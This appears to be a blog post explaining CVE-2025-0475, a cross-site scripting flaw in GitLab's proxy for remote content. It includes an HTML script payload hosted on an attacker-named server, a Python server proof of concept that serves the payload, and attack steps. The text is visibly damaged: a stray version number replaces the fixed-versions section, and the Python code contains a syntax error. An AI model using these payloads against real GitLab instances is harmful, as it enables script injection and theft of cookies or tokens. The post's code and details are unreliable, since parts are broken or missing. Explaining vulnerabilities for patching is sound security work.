CVE-2025-0475 - Exploiting GitLab Proxy XSS Vulnerability (Explained with Code & Details)

CVE-2025-0475 is a newly discovered security vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The bug impacts all versions from 15.10 up to, but not including, 17.7.6, 17.8.4, and 17.9.1. The flaw lies in a proxy-related feature, which could allow unintended content rendering leading to *cross-site scripting* (XSS) in certain circumstances.

If left unpatched, this vulnerability could allow attackers to inject malicious scripts into your GitLab environment, putting source code, user accounts, and internal discussions at risk. In this post, we'll break down how the bug works, how it can be exploited, and what you can do to stay safe.

What Is the Proxy Feature in GitLab?

GitLab uses a proxy to fetch and display remote content. For example, if you paste a URL in a Markdown file or a comment, GitLab might preview that link by sending a request through its own servers. This ensures the client (your browser) doesn't directly connect to untrusted remote servers.

However, if the proxy is not handling responses properly, there's a chance that unsafe content—such as an HTML file containing a script—could be presented to the user.

The Vulnerability: How Does It Work?

Due to improper handling of proxied content, under certain circumstances, an attacker can trick GitLab into rendering external content as HTML, leading to XSS (cross-site scripting).

How Does the Attack Work?

1. Attacker crafts a malicious URL that, when proxied by GitLab, returns a response with HTML/JavaScript content.
2. GitLab fetches and renders this content—but due to a bug, it doesn't sanitize or block script execution as intended.
3. User views the preview or embedded content and the attacker’s JavaScript executes in their browser.

Exploit Example

Suppose Alice is a project maintainer on a vulnerable GitLab instance, and Eve is the attacker. Eve wants Alice to execute a script when she views Eve’s comment.

Eve creates a file like /malicious.html on her server

<!-- dangerous.html -->
<html>
  <body>
    <script>
      alert("You have been pwned by CVE-2025-0475!");
      // Potentially steal cookies, tokens, etc.
    </script>
  </body>
</html>

Eve comments on an issue in GitLab

Check this out! https://eve-server.com/dangerous.html

Step 3: GitLab Proxies the Content

The vulnerable GitLab instance, when seeking to render a preview or fetch metadata, will initiate a proxied request to https://eve-server.com/dangerous.html, and may subsequently display unsanitized HTML content from Eve’s server.

Step 4: XSS Trigger

When Alice views the issue or the link preview, the JavaScript executes in her browser.

Sample Proof-of-Concept (PoC)

If you’re on a private test instance (never try this on production or without permission!), you can emulate the attack with a simple Python HTTP server:

Serve the payload

from http.server import SimpleHTTPRequestHandler, HTTPServer

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        self.wfile.write(b'''<html>
  <body>
    <script>alert("Exploited by CVE-2025-0475!");</script>
  </body>
</html>''')

if __name__ == '__main__':
    server = HTTPServer(('...', 800), Handler)
    print("Serving on http://...:800";)
    server.serve_forever()

Add a comment in GitLab that links to http://YOUR_IP:800/, and observe the alert when you view the issue on your vulnerable GitLab server.

17.9.1

If your instance is on 15.10 or above—but below these fixes—upgrade your GitLab immediately.

You can find the official security notices and upgrading instructions here

- GitLab Security Releases Blog
- GitLab Issue Tracker for CVE-2025-0475 *(link may become active once public)*

References & Further Reading

- GitLab Official Release Note for CVE-2025-0475
- Common Vulnerabilities and Exposures (CVE-2025-0475)
- What is Cross-Site Scripting (XSS)? – OWASP
- GitLab Documentation: Security Best Practices

Conclusion

CVE-2025-0475 is a high-impact bug in the way GitLab proxies and renders remote content. It demonstrates once again how tricky web security is, especially for code collaboration platforms. If you run GitLab, patch now to prevent XSS and potential exposure of your company's source code and secrets.

Timeline

Published on: 03/03/2025 11:15:15 UTC
Last modified on: 03/07/2025 12:30:28 UTC